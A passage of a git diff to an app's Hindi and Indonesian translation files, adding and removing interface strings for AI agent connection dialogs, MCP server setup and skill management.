फ़ोल्डर में OpenKnowledge स्किल रखता है, ताकि उसके संपादनों का श्रेय बना रहे।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "{agent} जो केंद्रीय स्किल स्टोर पढ़ता है, उसमें OpenKnowledge स्किल रखता है।"+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "उलझा हुआ हूँ…"@@ -10582,6 +10717,10 @@ msgstr "हाल का प्रोजेक्ट"msgid "Recently opened"msgstr "हाल में खोले गए"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "अनुशंसित"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "अनुशंसित एजेंट कौशल"@@ -10717,6 +10856,8 @@ msgstr "रिमोट कंट्रोल"msgid "Remote skill source"msgstr "रिमोट स्किल स्रोत"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10757,6 +10898,10 @@ msgstr "{patternText} हटाएँ"msgid "Remove {projectName} from recent projects"msgstr "{projectName} को हाल के प्रोजेक्ट से हटाएँ"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "{rowLabel} हटाएँ"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "{tag} हटाएँ"@@ -10769,6 +10914,10 @@ msgstr "हटाना विफल: {error}"msgid "Remove field {field}"msgstr "फ़ील्ड {field} हटाएँ"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "दोनों के लिए हटाएँ"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10788,6 +10937,15 @@ msgstr "लिंक हटाएँ"msgid "Remove OpenKnowledge from {0}"msgstr "{0} से OpenKnowledge हटाएँ"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "{0} से OpenKnowledge हटाएँ?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "OpenKnowledge हटाएँ?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "प्रॉपर्टी हटाएँ"@@ -10931,7 +11089,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "\"{docName}\" को एक नए स्थानीय सहयोग कैश के साथ दोबारा खोला जा रहा है।"#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "{names} का MCP इंटीग्रेशन ठीक किया गया"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10947,6 +11105,10 @@ msgstr "{keyName} बदलें"msgid "Replace all matches"msgstr "सभी मेल बदलें"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "बदलें और सहेजें"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "मौजूदा मेल बदलें"@@ -10979,6 +11141,10 @@ msgstr "इन प्रतियों को स्रोत के सिमmsgid "Replace these symlinks with independent copies?"msgstr "इन सिमलिंक को स्वतंत्र प्रतियों से बदलें?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "इस फ़ाइल की मौजूदा \"open-knowledge\" प्रविष्टि को बदल देता है। फ़ाइल के अन्य सर्वर अपरिवर्तित रहते हैं।"+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11235,7 +11401,7 @@ msgstr "लाया जा रहा है…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "फिर कोशिश करें"@@ -11375,6 +11541,7 @@ msgstr "सैंडबॉक्स किया गया HTML एम्बेmsgid "Save"msgstr "सहेजें"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "बदलाव सहेजें"@@ -11425,6 +11592,7 @@ msgstr "आपकी टीम के लिए प्रोजेक्ट कmsgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "फ़ाइल को <0>~/Downloads/openknowledge.skill</0> में सहेजता है और Claude Desktop App खोलता है। आपके PATH पर Node.js या Bun ज़रूरी है।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "सहेजा जा रहा है"@@ -11478,7 +11646,7 @@ msgstr "अर्थ के आधार पर \"{semanticSubmitQuery}\" खोmsgid "Search ({searchShortcutLabel})"msgstr "खोजें ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "एजेंट खोजें"@@ -12062,8 +12230,7 @@ msgstr "{0} और दिखाएँ"msgid "Show {hidden} more"msgstr "{hidden} और दिखाएँ"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "{hiddenCount} और दिखाएँ"@@ -12129,8 +12296,7 @@ msgid "Show in Explorer"msgstr "Explorer में दिखाएँ"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "कम दिखाएँ"@@ -12337,11 +12503,6 @@ msgstr "{0}/{1} से स्किलें।"msgid "Skills from OpenKnowledge"msgstr "OpenKnowledge की स्किल"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "स्किल को स्किल स्टूडियो में ले जाया गया।"-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "स्किल फिर से असाइन किए गए"@@ -12497,6 +12658,7 @@ msgstr "आपकी प्रतिक्रिया भेजते समयmsgid "Something went wrong starting the terminal."msgstr "टर्मिनल शुरू करते समय कुछ ग़लत हो गया।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "कुछ ग़लत हो गया। कृपया फिर कोशिश करें।"@@ -13070,7 +13232,6 @@ msgstr "टेम्पलेट"msgid "Templates available"msgstr "उपलब्ध टेम्पलेट"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13079,8 +13240,7 @@ msgstr "उपलब्ध टेम्पलेट"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13208,6 +13368,11 @@ msgstr "{0} के डाउनलोड अनुरोध का समय सmsgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} प्लगइन ये स्किलें अपने कैश से देता है — OK इन्हें कभी संपादित या अपडेट नहीं करता।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} डेस्कटॉप ऐप इस प्रोजेक्ट कॉन्फ़िग को अनदेखा करता है; इसे केवल {agent} CLI पढ़ता है।"+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} फ़ोल्डर में इस स्किल का एक अलग संस्करण है। चुनें कि कौन सा रहेगा, या दोनों को अलग-अलग नामों से रखें। आप जो भी बदलते हैं उसका पहले बैकअप ले लिया जाता है।"@@ -13448,6 +13613,14 @@ msgstr "स्रोत फ़ोल्डर ख़ुद नहीं हिmsgid "The template's filename (without `.md`)."msgstr "टेम्पलेट का फ़ाइल-नाम (`.md` के बिना)।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label} की टर्मिनल और डेस्कटॉप पंक्तियाँ एक ही सेटअप साझा करती हैं, इसलिए किसी एक को जोड़ने पर दोनों जुड़ जाती हैं।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label} की टर्मिनल और डेस्कटॉप पंक्तियाँ एक ही सेटअप साझा करती हैं, इसलिए इसे हटाने पर दोनों का कनेक्शन टूट जाएगा।"+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "इस प्रोजेक्ट के लिए टर्मिनल बंद है। यहाँ कमांड चलाने के लिए इसे वापस चालू करें।"@@ -13604,6 +13777,14 @@ msgstr "यह एजेंट स्लैश कमांड नहीं दmsgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "यह एजेंट स्लैश कमांड नहीं देता — आपका संदेश सादे टेक्स्ट के रूप में भेजा जाएगा"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "यह एजेंट OpenKnowledge को आपके लिए इसे सेट अप करने का कोई तरीका नहीं देता। इसकी सेटअप गाइड में मैन्युअल चरण दिए गए हैं।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "इस मशीन पर इस एजेंट की इस प्रकार की कोई फ़ाइल अभी नहीं है। एजेंट को एक बार खोलें, फिर दोबारा जाँचें।"+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "इस एजेंट ने अभी तक अपने कमांड घोषित नहीं किए हैं"@@ -13647,6 +13828,14 @@ msgstr "यह टिप्पणी पूरी प्रॉपर्टीmsgid "This conflict is resolved."msgstr "यह विरोध हल हो गया है।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "इसे सेट अप नहीं किया जा सका क्योंकि इसके लिए ज़रूरी MCP सर्वर एंट्री नहीं लिखी गई।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "यह नीचे दी गई MCP सर्वर प्रविष्टियाँ और स्किल फ़ाइलें मिटा देता है। दोबारा जोड़ने तक एजेंट आपके दस्तावेज़ों तक पहुँच खो देगा।"+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "यह दस्तावेज़"@@ -13679,6 +13868,10 @@ msgstr "यह दस्तावेज़ हटा दिया गया थmsgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "इस एंडपॉइंट ने आपके कॉन्फ़िगर किए गए वेक्टर आकार को अनदेखा कर दिया। मॉडल का अपना आकार उपयोग करने के लिए <0>search.semantic.dimensions</0> हटा दें।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge द्वारा लिखे जाने के बाद यह प्रविष्टि बदल गई। इसे चालू करने पर यह बदल दी जाएगी।"+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "इस फ़ील्ड में अतिरिक्त स्कीमा कीवर्ड हैं जो संपादक नहीं दिखाता — सहेजने पर वे बने रहते हैं।"@@ -13731,6 +13924,10 @@ msgstr "यह फ़ोल्डर {actualOwner}/{actualRepo} का क्लmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "यह फ़ोल्डर {actualHost} पर {expectedOwner}/{expectedRepo} का क्लोन है, {expectedHost} पर नहीं। {expectedHost} से क्लोन किया गया कोई फ़ोल्डर चुनें?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "यह फ़ोल्डर {alsoAffects} का भी है।"+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "यह फ़ोल्डर खाली है।"@@ -13789,6 +13986,7 @@ msgstr "यह आइटम"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "यह किसी ड्राइव का रूट लगता है (जैसे C:\\)। यहाँ ढाँचा बनाने पर पूरी ड्राइव स्कैन होगी।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13814,6 +14012,10 @@ msgstr "इसे आपकी फ़ाइलों को देखने कmsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "यह आपके AI टूल को OpenKnowledge के साथ काम करना सिखाती है। यह प्रोजेक्ट फ़ोल्डर में रहती है, इसलिए यह हर उस व्यक्ति के लिए इंस्टॉल होती है जो प्रोजेक्ट खोलता है।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "इस विकल्प को अपने-आप नहीं बदला जा सकता।"+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "यह पैक यहाँ पहले से सेट अप है।"@@ -13869,6 +14071,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "यह {path} को स्थायी रूप से हटा देता है। जो एजेंट इस टेम्पलेट को नाम से संदर्भित करते हैं वे तब तक विफल रहेंगे जब तक यह दोबारा न बने या किसी मूल फ़ोल्डर का टेम्पलेट इसकी जगह न ले।"#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13917,11 +14120,6 @@ msgstr "इस प्रोजेक्ट का चल रहा सर्वmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "इस प्रोजेक्ट का सर्वर (v{0}) इस ऐप (v{1}) से नया है।"-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "इस प्रोजेक्ट की स्किल को स्किल स्टूडियो में ले जाया गया।"-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "यह आपके Mac से और नीचे चुने गए किसी भी प्रोजेक्ट से OpenKnowledge की सेटिंग और एकीकरण हटा देता है, पर आपकी markdown सामग्री और लिखी गई स्किल बनी रहती हैं।"@@ -13959,6 +14157,18 @@ msgstr "यह सेटिंग हर मशीन के लिए अलगmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "यह सेटिंग हर मशीन के लिए अलग है और सहयोगियों के साथ साझा नहीं होती। इसके लिए एक API कुंजी चाहिए (नीचे सेट करें), बशर्ते आपका एंडपॉइंट कोई ऐसा स्थानीय सर्वर न हो जिसे इसकी ज़रूरत न हो।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "यह सेटअप <0>{path}</0> के माध्यम से {peers} के साथ साझा किया गया है। इसे यहाँ हटाने पर यह {peers} के लिए भी हट जाता है।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "यह सेटअप {peers} के साथ साझा है, और OpenKnowledge इसे यहाँ से बदल नहीं सकता। पहले Skills Studio में फ़ोल्डर को अनलिंक करें।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "यह सेटअप {peers} के साथ साझा किया गया है। इसे यहाँ हटाने पर यह {peers} के लिए भी हट जाता है।"+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "इस स्रोत में कई स्किल हैं — एक चुनें, फिर Import करें।"@@ -14279,7 +14489,6 @@ msgid "Type to find a doc"msgstr "कोई दस्तावेज़ खोजने के लिए लिखें"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "इस प्लेटफ़ॉर्म पर अनुपलब्ध"@@ -14913,8 +15122,7 @@ msgstr "AI को क्या करना चाहिए? (वैकल्पmsgid "What the agent may read, write, and surface."msgstr "एजेंट क्या पढ़, लिख और सामने ला सकता है।"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "यह चेकबॉक्स क्या बदलता है"@@ -14990,6 +15198,10 @@ msgstr "आप कौन हैं, ताकि एजेंट को आपmsgid "Whole word"msgstr "पूरा शब्द"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "इस पर ध्यान क्यों देना है"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "विकी लिंक"@@ -15027,6 +15239,10 @@ msgstr "विंडो"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "किसी कनेक्टेड AI टूल के बिना पैक के {packSkillCount, plural, one {# स्किल} other {# स्किल}} इंस्टॉल नहीं होंगे।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "स्किल के बिना भी एजेंट काम करता है, लेकिन उसे संपादन का श्रेय और लाइव पूर्वावलोकन नहीं मिलता।"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "शब्द लपेटें"@@ -15074,6 +15290,11 @@ msgstr "वर्कट्री"msgid "Wrap long lines in the markdown source editor."msgstr "markdown स्रोत संपादक में लंबी पंक्तियाँ लपेटें।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "एक छोटी ब्रिज फ़ाइल लिखता है, जिसे {agent} इस प्रोजेक्ट से लोड करके OpenKnowledge तक पहुँचता है।"+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "इसमें एक प्रविष्टि लिखता है"@@ -15082,6 +15303,10 @@ msgstr "इसमें एक प्रविष्टि लिखता हmsgid "writing"msgstr "लेखन"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "यह फ़ाइल लिखने में विफल रहा। कारण जानने के लिए OpenKnowledge लॉग देखें।"+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Open Knowledge एक्सटेंशन लिख दिया गया, लेकिन फ़ोल्डर को विश्वसनीय चिह्नित नहीं किया जा सका, इसलिए वह लोड नहीं होगा। इस थ्रेड में Open Knowledge टूल नहीं हैं।"@@ -15229,6 +15454,10 @@ msgstr "ब्रांच <0>{shareBranch}</0> की आपकी प्रतmsgid "Your current version is saved first, so this is reversible."msgstr "आपका मौजूदा संस्करण पहले सहेजा जाता है, इसलिए यह वापस लिया जा सकता है।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "आपके दस्तावेज़ों में कोई बदलाव नहीं होगा।"+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/id/messages.json b/packages/app/src/locales/id/messages.jsonindex d86a9f4e1..a8773b6cc 100644--- a/packages/app/src/locales/id/messages.json+++ b/packages/app/src/locales/id/messages.json@@ -59,7 +59,6 @@],"04JR6L": ["Hubungkan alat AI Anda"],"04RA0-": ["Gagal mengaktifkan sinkronisasi — ", ["detail"]],- "04XyCH": ["Menambahkan blok terkelola ke ", ["0"]],"05F1GY": ["Teks aslinya telah dihapus. Anda dapat menempatkan ulang komentar ini pada teks terpilih."],@@ -156,6 +155,7 @@"1DahsC": ["Cari di pengaturan"],"1EcCom": ["Nilai ", ["keyName"]],"1FLarN": ["Jelaskan apa yang ingin Anda buat untuk melanjutkan"],+ "1FXL-O": ["Ini tidak dapat disiapkan karena entri server MCP yang diperlukan tidak ditulis."],"1GhYxC": ["dari ", ["totalPages"]],"1HBhDS": ["Mengambil berkas"],"1J0c0X": ["Masih tidak dapat menghubungi ", ["displayName"], ". Coba sekali lagi?"],@@ -235,11 +235,17 @@"2YOwme": ["Dimulai ulang — kini menjalankan v", ["appRuntime"], "."],"2YZwPB": ["Respons tautan keluar tidak sesuai bentuk yang diharapkan."],"2Yt22K": ["Sembunyikan versi asli"],+ "2gXnCO": ["Server MCP global"],"2hYmUH": ["[email protected]"],"2hpdRq": ["Sembunyikan panel (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Masukkan URL yang valid (misalnya https://api.openai.com/v1)."],"2jUGEP": ["Hitung pemasangan keterampilan secara publik"],"2l293S": ["Anda dapat memulihkan berkas ini dari Recycle Bin."],+ "2lJAvH": [+ "Baris terminal dan desktop untuk ",+ ["label"],+ " berbagi satu pengaturan, jadi menghapusnya akan memutuskan keduanya."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["Kami sudah meneruskannya ke tim dan melampirkan log Anda."],"2n3oDU": [@@ -326,6 +332,9 @@"3l_cXP": ["Silakan lihat kalau mau. Berkas persis inilah yang kami terima."],"3m2GBo": ["Mencari dokumen"],"3mFsc3": ["Pulihkan dengan perubahan remote"],+ "3n7lnE": [+ "Agen ini belum memiliki file jenis ini di mesin ini. Buka agen sekali, lalu periksa lagi."+ ],"3nICSW": ["Menambahkan entri MCP OpenKnowledge dan keterampilan proyek ke <0>",["toolList"],@@ -356,6 +365,13 @@],"4A3Yzu": ["Blok kode"],"4BITzH": ["Galat:"],+ "4C2RCg": [+ "Konfigurasi ini dibagikan dengan ",+ ["peers"],+ ". Menghapusnya di sini juga menghapusnya untuk ",+ ["peers"],+ "."+ ],"4CfgPM": ["Folder proyek dibuat, tetapi git init gagal. Coba lagi."],"4E9jPa": ["Buat proyek pertama Anda"],"4EZrJN": ["Aturan"],@@ -394,6 +410,7 @@"4niEzY": ["Sematan HTML tersekat — tulis HTML, lihat pratinjau terendernya secara langsung."],"4nj6n8": ["/api/config mengembalikan HTTP ", ["code"]],"4pDZ2N": ["\"", ["0"], "\" dihapus dari semua lokasi lain — folder sumbernya tetap dimuat"],+ "4sE6E9": ["Tidak bisa memeriksa alat mana yang terhubung."],"4sKwf6": ["Berkas sudah ada"],"4sUdTJ": ["pratinjau bertema"],"4uNLmk": ["Melakukan pull"],@@ -424,6 +441,12 @@"5BlXTD": ["Pratinjau versinya tidak bisa dimuat. Anda tetap bisa memilih cara menyelesaikannya di bawah."],+ "5CHuXn": [+ ["0"],+ " memerlukan ",+ ["1"],+ ". Nonaktifkan keduanya, atau biarkan keduanya aktif."+ ],"5ClEAu": ["Tagar sebaris untuk pengelompokan antardokumen."],"5D3Ior": ["Sembunyikan folder"],"5F5HYj": [["ahead"], " di depan, ", ["behind"], " di belakang"],@@ -442,6 +465,9 @@"5OqaJi": ["Masukkan nama proyek"],"5PHgV2": ["Anda juga bisa membuatnya dari terminal dengan <0>ok bug-report</0>."],"5QGTaA": ["Jalur relatif tidak dapat disalin"],+ "5RiC8D": [+ "Skill penemuan dikelola bersama untuk semua alat AI. Instal skill ini dari Pengaturan → Studio Keterampilan."+ ],"5SwVv1": ["Belum terpasang"],"5Szq6N": ["Endpoint ini mengabaikan ukuran vektor yang Anda atur. Hapus <0>search.semantic.dimensions</0> untuk memakai ukuran milik modelnya sendiri."@@ -600,6 +626,12 @@"7IsvrP": ["Memeriksa pembaruan"],"7JtSLi": ["Gagal menghapus jalur"],"7MSbAT": ["Tersedia di"],+ "7Ny8bV": [+ ["dependent"],+ " memerlukan ",+ ["prerequisite"],+ ", dan OpenKnowledge tidak menemukan agen ini di mesin ini."+ ],"7O7REc": [["0"], " tidak dapat dipulihkan. Coba lagi."],"7OhaRy": ["Pencarian di sumber"],"7Ongq0": ["Ringkas berkas AGENTS.md saya menjadi kurang dari 40 ribu karakter"],@@ -727,6 +759,9 @@"8uGMP8": ["Konten tersembunyi ada di sini."],"8vCZcs": ["Gagal membuka berkas."],"8vETh9": ["Tampilkan"],+ "8wwkVu": [+ "Entri ini berubah setelah ditulis OpenKnowledge. Mengaktifkannya akan menggantinya."+ ],"8x6zk9": ["Sembunyikan penyunting ", ["0"]],"9-lMCF": ["Warna ", ["slot"], " — ", ["0"]],"90-wKT": ["OpenKnowledge membaca riwayat ", ["subject"]],@@ -849,7 +884,6 @@"AYoYhU": ["Pembaruan gagal: ", ["0"]],"AaC-CE": ["Papan kosong"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["Entri open-knowledge khusus — tidak dikelola OpenKnowledge"],"AdcGcG": ["Menerapkan perubahan Anda"],"AddR83": ["Proyek tidak dapat dibuat. Coba lagi atau pilih lokasi lain."],"AeHuzT": ["# Satu pola per baris.\\n# Contoh:\\n# drafts/\\n# *.draft.md\\n# !keep.md"],@@ -874,6 +908,7 @@"AkA6DO": ["Bagian dari plugin ", ["0"], " — hanya-baca; buka untuk menyunting salinannya"],"Al8HPP": ["Terima versi saat ini untuk konflik ", ["0"]],"Am78jY": ["Seret ", ["keyName"], " untuk menata ulang"],+ "ApNWRQ": ["Hapus OpenKnowledge dari ", ["0"], "?"],"ApeA0n": [["dropCount"], " suntingan pada ", ["docName"], " dibatalkan"],"Aq-O0x": ["status"],"AqnqMJ": ["Kunci API disetel"],@@ -901,6 +936,9 @@"BGtzlf": [["uploadFolderName"], " — 1 berkas"],"BH56dn": ["Teks tampilan khusus"],"BKI4hX": ["Cari di berkas"],+ "BMoSQy": [+ "Agen ini tidak memberi OpenKnowledge cara untuk menyiapkannya untuk Anda. Panduan penyiapannya memuat langkah-langkah manual."+ ],"BOsvJ8": ["<0>ok</0> tidak akan berjalan di terminal eksternal sampai Anda menambahkannya nanti dari menu File. Alat AI Anda tetap berfungsi."],@@ -972,11 +1010,7 @@"CU3AiE": ["Mengganti cabang"],"CUmCwI": ["Sisipkan baris di bawah"],"CWjM1r": ["dokumen langsung di ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ok/bin</0> dan <1>~/.ok/env.sh</1> tetap ada apa pun pilihannya — aplikasi selalu memeliharanya."- ],"CXDYfm": ["Tidak dapat membaca apakah keterampilan proyek ini terpasang."],- "CXTwen": ["Konfigurasi proyek ini tidak bisa disunting dengan aman"],"CXcveY": ["Open Knowledge menyimpan file navigasi bernama index.md di setiap folder yang berisi Markdown, masing-masing mencantumkan dokumen folder tersebut berdasarkan jenis dan tautan ke subfoldernya. Itu menulis ulang file-file ini saat dokumen Anda berubah, dan apa pun yang Anda edit sendiri ke dalamnya akan diganti."],@@ -1008,9 +1042,9 @@"Dalam proyek Git, Open Knowledge menambahkan aturan tercakup ke file .gitattributes di root repositori agar perubahan indeks yang bersamaan dapat digabungkan."],"CxVk-w": ["Komentari ", ["address"]],+ "CxnZP4": ["Pilih apa yang disiapkan OpenKnowledge."],"Cz-K13": ["15 menit"],"D-NlUC": ["Sistem"],- "D-Oh1s": ["Cara menyiapkan ", ["0"], " (terbuka di peramban)"],"D-_B7l": ["Terhubung — endpoint ini mengembalikan vektor berdimensi ", ["0"], "."],"D0CegO": ["Ada keterampilan kedua dengan nama ini — ganti namanya (atau hapus salah satu) untuk mengelolanya sepenuhnya."@@ -1018,6 +1052,9 @@"D12vtS": ["(terlepas)"],"D2emTw": ["Ada yang tidak beres saat mengirim masukan Anda. Silakan coba lagi."],"D4H2N6": ["Hapus ", ["tag"]],+ "D4I0F9": [+ "Pilih agen mana yang muncul di menu agen di seluruh aplikasi, lalu siapkan agar mereka dapat membaca dan memperbarui dokumen Anda."+ ],"D7gKrd": ["OpenKnowledge tidak dapat menulis pengaturan peluncuran di .ok/local/terminal karena folder tersebut tidak berada dengan aman di dalam proyek ini. Pastikan folder tersebut adalah folder nyata di dalam proyek, bukan tautan. Claude akan meminta Anda menyetujui OpenKnowledge."],@@ -1104,6 +1141,7 @@"E1_c72": ["Daftar tugas"],"E1tG2u": ["Dapatkan Claude Code"],"E2Mv-X": ["Salin sumber"],+ "E35Meh": ["Hapus ", ["rowLabel"]],"E4XYYH": ["Aktifkan terminal untuk proyek ini"],"E5WeIy": ["Membuka lagi tab penyunting yang paling akhir ditutup."],"E6lrpp": [@@ -1113,7 +1151,9 @@"E91VZY": ["Buka di Jendela Baru"],"E9bKSA": ["Membuat"],"E9gh86": ["Anda bisa melampirkan hingga ", ["MAX_ATTACHMENTS"], " gambar."],+ "EBP_hA": ["Menambahkan entri MCP OpenKnowledge ke konfigurasi agen proyek ini."],"EBVbtP": ["Item tidak dapat digandakan"],+ "EDD3UL": ["Tidak terdeteksi 